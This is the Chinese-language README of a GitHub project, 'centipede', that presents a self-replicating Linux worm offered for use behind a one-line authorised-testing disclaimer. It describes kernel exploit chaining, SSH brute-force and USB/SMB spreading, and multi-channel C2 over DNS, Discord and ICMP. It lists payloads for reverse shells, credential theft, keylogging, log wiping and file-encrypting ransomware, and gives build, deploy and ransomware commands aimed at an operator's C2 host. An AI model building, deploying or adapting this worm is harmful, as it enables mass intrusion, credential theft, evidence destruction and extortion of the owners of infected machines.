h0mi3e/centipede
GitHub: h0mi3e/centipede
自复制 Linux 蠕虫框架,集成多层 C2 通信、内核提权漏洞链和完整后渗透载荷套件,能够自主扫描网络并横向扩散。
Stars: 0 | Forks: 0
免责声明:仅供授权安全测试和教育目的使用
# centipede
具有多层 C2 通信、通过内核漏洞进行权限提升、暗网命令界面、Discord 备用通道以及完整后渗透操作 Payload 套件的自复制 Linux 蠕虫框架。
```
centipede/
├── cmd/
│ ├── centipede/ # Worm implant binary
│ └── c2d/ # C2 server daemon
├── internal/
│ ├── scanner/ # Network discovery and WiFi scanning
│ ├── exploiter/ # Kernel exploit delivery and LPE chaining
│ ├── replicator/ # Self-propagation across SSH, WiFi, USB, HTTP, SMB, CVE
│ ├── c2/ # Multi-layer C2 client with fallback
│ ├── payloads/ # Post-exploitation payload suite (13 payloads)
│ ├── sensor/ # Environment fingerprinting and sandbox detection
│ └── common/ # Cryptographic and system utilities
├── web/ # Dark web C2 dashboard
│ ├── static/css/ # Dark theme stylesheet
│ ├── static/js/ # Dashboard application logic
│ └── templates/ # HTML template
├── Makefile
└── README.md
```
## 架构
### 漏洞利用
该蠕虫携带多个可自动链式执行的内核提权漏洞利用程序:
- **dirtyfrag** (CVE-2026-43284 + CVE-2026-43500) — xfrm-ESP 和 RxRPC 页缓存写入链。影响从 4.x 到 6.x(2017 年至今)的 Linux 内核。两个变体互相覆盖盲区:xfrm-ESP 提供强大的任意 4 字节写入原语(需要 user namespace),而 RxRPC 不需要 namespace 权限。
- **Copy Fail** (CVE-2023-6173) — AF_ALG/algif_aead 页缓存写入漏洞。dirtyfrag 的前身,覆盖 dirtyfrag 模块不可用但 AF_ALG 套接字暴露的内核。
- **Dirty Pipe** (CVE-2022-0847) — 直接通过管道写入覆盖只读文件。影响 Linux 5.8 至 5.16。
- **PwnKit** (CVE-2021-4034) — 在所有安装了 pkexec 的发行版上进行 pkexec 参数注入。
- **GameOverlay** (CVE-2023-3269) — Ubuntu overlayfs 本地权限提升 (LPE)。支持 overlayfs 的 Ubuntu 内核。
- **OverlayFS** (CVE-2023-2640) — 额外的 Ubuntu overlayfs LPE 利用向量。
利用程序会自动检测内核版本,检查可用的内核模块和 capabilities,并链式执行漏洞利用直到获取 root 权限。
### 基于 CVE 的传播
一旦主机被攻陷并获取 root 权限,蠕虫会使用相同的漏洞利用链作为传播向量:
1. 扫描器通过 ARP 扫描和 TCP connect 扫描发现相邻子网上的主机
2. 对于每台发现且开放端口的主机,复制器尝试通过以下方式投递蠕虫二进制文件:
- HTTP PUT 上传(如果端口 80/8080/443 开放并接受 PUT)
- FTP 匿名上传(如果端口 21 允许匿名写入)
- SMB 写入 ADMIN$ 或 C$ 共享(如果端口 445 开放)
- SSH 基于密钥和密码的暴力破解(如果端口 22 开放)
3. 二进制文件落地后,自主运行其 LPE 链以提升权限
4. 新攻陷的主机继续扫描和传播
这创建了一个不依赖手动 C2 干预的自维持传播循环。
### C2 通信层
按优先级顺序的四个备用通信层:
1. **WebSocket** — 到 C2 服务器的加密双向通道。主要通信方式。
2. **DNS Tunnelling** — 命令和响应编码在 DNS TXT 查询中。绕过 HTTP/HTTPS 过滤。
3. **Discord Bot** — C2 命令和结果通过 Discord bot API 中继。
4. **ICMP Tunnelling** — 数据编码在 ICMP echo payload 字段中。最后手段的备用通道。
所有层均使用 AES-GCM 进行端到端加密。客户端自动在各层之间循环,在连接失败时回退,并在连接恢复时返回到更高优先级的层。
### 自复制向量
- **SSH 传播** — 从 .ssh/、known_hosts 和 config 中收集现有 SSH 密钥。复制二进制文件并执行。回退到使用常见凭据(root、admin、vagrant、ubuntu、pi 等)的密码暴力破解。
- **WiFi 传播** — 使用 iw 和 nmcli 扫描开放的 WiFi 网络,连接到发现的接入点,并扫描新网络以寻找可访问的主机。
- **USB 传播** — 检测可写可移动介质,复制带有隐藏属性的二进制文件和 autorun.inf。
- **HTTP/FTP/SMB 传播** — 尝试通过 HTTP PUT、FTP 匿名写入和 SMB ADMIN$/C$ 共享投递蠕虫。
- **横向移动** — 针对混合环境的 SMB 和 WMI 传播。
### C2 服务器
C2 守护进程提供:
- 带有实时僵尸程序监控和活动动态的暗网仪表板
- 用于僵尸程序事件更新的实时 WebSocket 流
- 用于命令中继和结果转发的 Discord bot 集成
- 用于编程控制的 RESTful API
- 用于定向命令分发的僵尸程序标记和分组
- 带有执行跟踪的命令队列
### Payload 套件
| Payload | 描述 |
|---------|-------------|
| reverse_shell | 在目标上生成反向或绑定 shell |
| persist | 通过 systemd、cron、.bashrc 钩子、LD_PRELOAD 安装 |
| harvest | 提取凭据:/etc/shadow、SSH 密钥、环境变量、数据库配置、云凭据、Kubernetes 配置 |
| lateral | 注入 SSH 密钥,扫描 known_hosts,发现编排基础设施 |
| pivot | 启用 IP 转发、SOCKS 代理、NAT 伪装 |
| keylog | 从输入设备捕获按键记录 |
| sniff | 通过 tcpdump 捕获网络流量 |
| enum | 完整系统枚举:内核、用户、网络、容器、云 |
| exfil | 通过 HTTP POST 渗透二进制文件和收集的数据 |
| wipe | 清除日志、历史记录、journald、auditd、wtmp,随机化 MAC 地址 |
| selfdestruct | 移除所有痕迹,删除二进制文件,并退出 |
| ransomware | 使用操作员定义的密钥进行 AES-256-GCM 文件加密。密钥可预设或自动生成。加密指定目录中的目标文件类型。 |
| ransomware_decrypt | 使用加密时使用的相同密钥解密 .centipede 文件。恢复原始文件并移除勒索信。 |
### 勒索软件 Payload
勒索软件 Payload 提供由操作员控制的文件加密:
- **密钥管理**:操作员通过 `key` 参数提供 32 字节(64 个十六进制字符)的密钥。如果未提供密钥,将自动生成并返回一个。
- **文件选择**:按扩展名(文档、媒体、档案、数据库、证书、配置、源代码、云配置)加密文件。目标为 `dirs` 参数中指定的目录(默认为 /home、/root、/var/www、/etc、/opt、/srv)。
- **加密**:每个文件使用带有唯一 nonce 的 AES-256-GCM 加密。加密文件会附加 .centipede 扩展名。
- **勒索信**:写入到每个目标目录的根目录。
- **解密**:使用相同密钥的 ransomware_decrypt payload 可恢复所有文件。
- **跳过保护**:已加密的 .centipede 文件会被跳过。
通过 C2 使用:
```
# 使用自动生成的 key 加密
> ransomware key="" dirs="/home,/root"
# 使用 operator 定义的 key 加密
> ransomware key="a1b2c3d4..." dirs="/var/www"
# 使用相同的 key 解密
> ransomware_decrypt key="a1b2c3d4..."
```
## 快速入门
### 构建
```
git clone https://github.com/h0mi3e/centipede
cd centipede
make build
```
### 启动 C2 服务器
```
./bin/c2d -addr :8443
```
使用 Discord 中继:
```
./bin/c2d -addr :8443 -discord-token "YOUR_BOT_TOKEN" -discord-channel "CHANNEL_ID"
```
### 部署蠕虫
使用直接 C2 端点:
```
./bin/centipede -c2 ws://YOUR_C2_IP:8443/ws/bot
```
包含所有备用通道:
```
./bin/centipede \
-c2 ws://YOUR_C2_IP:8443/ws/bot \
-c2-dns c2.yourdomain.com \
-c2-discord-token "TOKEN" \
-c2-discord-channel "CHANNEL_ID" \
-c2-icmp YOUR_C2_IP
```
## C2 仪表板
通过 `http://YOUR_C2_IP:8443/` 访问暗网仪表板。该界面提供:
- 带有实时 WebSocket 流的实时僵尸程序活动动态
- 向单个僵尸程序、标记组或所有僵尸程序分发命令
- 带有预配置选项的 Payload 选择和部署
- 带有 CVE 详细信息和内核范围的漏洞利用状态监控
- 僵尸程序标记和管理
## 配置
配置文件 (`/etc/centipede.conf`):
```
{
"c2_endpoint": "ws://c2.example.com:8443/ws/bot",
"c2_dns_domain": "c2.example.com",
"c2_discord_token": "YOUR_TOKEN",
"c2_discord_channel": "CHANNEL_ID",
"c2_icmp_target": "c2.example.com",
"scan_interval": 300,
"spread_interval": 300,
"exploit": true,
"replication": true,
"masquerade": true
}
```
命令行标志会覆盖配置文件中的值。默认情况下,配置文件从 /etc/centipede.conf 读取。
## 漏洞利用链
漏洞利用链按顺序执行,直到获得 root 权限:
1. **dirtyfrag** (CVE-2026-43284 + CVE-2026-43500) — 内核 4.x 到 6.x。xfrm-ESP 页缓存写入需要 user namespace;RxRPC 变体不需要 namespace。
2. **Copy Fail** (CVE-2023-6173) — 带有 algif_aead 模块或 AF_ALG socket 支持的内核 5.x 到 6.x。
3. **Dirty Pipe** (CVE-2022-0847) — 内核 5.8 到 5.16。
4. **PwnKit** (CVE-2021-4034) — 任何安装了 pkexec 的发行版。
5. **GameOverlay** (CVE-2023-3269) — 带有 overlayfs 的 Ubuntu 内核。
6. **OverlayFS** (CVE-2023-2640) — 带有 overlayfs 的 Ubuntu 内核。
每个漏洞利用在尝试之前会检查其前置条件(模块是否加载、文件是否存在、内核版本范围)。失败是非致命的,利用链将继续执行。
### 检测规避
- 执行前的沙箱环境检测(CPU 数量、/proc/cpuinfo 内容)
- 进程名伪装为内核线程([kworker/u256+0]、[jbd2/dm-0-8] 等)
- 加密的配置块(二进制文件中没有硬编码字符串)
- 取证清理 payload 擦除 shell 历史、系统日志、journald、auditd 和登录记录
- 在被攻陷的主机上随机化 MAC 地址(仅限 root)
- 带有抖动的可配置休眠间隔
由 ek0ms 构建
标签:C2框架, C2通信, C2面板, CISA项目, CSV导出, CVE, Discord集成, DNS 解析, Go语言, Go语言工具, HTTP工具, IP 地址批量处理, Linux蠕虫, LPE, Payload, PE 加载器, SMB传播, SSH传播, USB传播, Web报告查看器, Web面板, WiFi扫描, 云存储安全, 内存分配, 内核提权, 内核漏洞, 协议分析, 反检测, 后渗透, 命令与控制, 多层C2, 安全学习资源, 安全测试, 密码学, 恶意软件框架, 手动系统调用, 插件系统, 攻击性安全, 数字签名, 无线安全, 日志审计, 暗网, 本地提权, 权限提升, 横向移动, 沙箱逃逸, 渗透测试框架, 环境指纹, 程序破解, 编程规范, 网络信息收集, 网络安全, 网络安全审计, 网络扫描, 自主传播, 自复制, 载荷生成, 远程控制, 防御, 隐私保护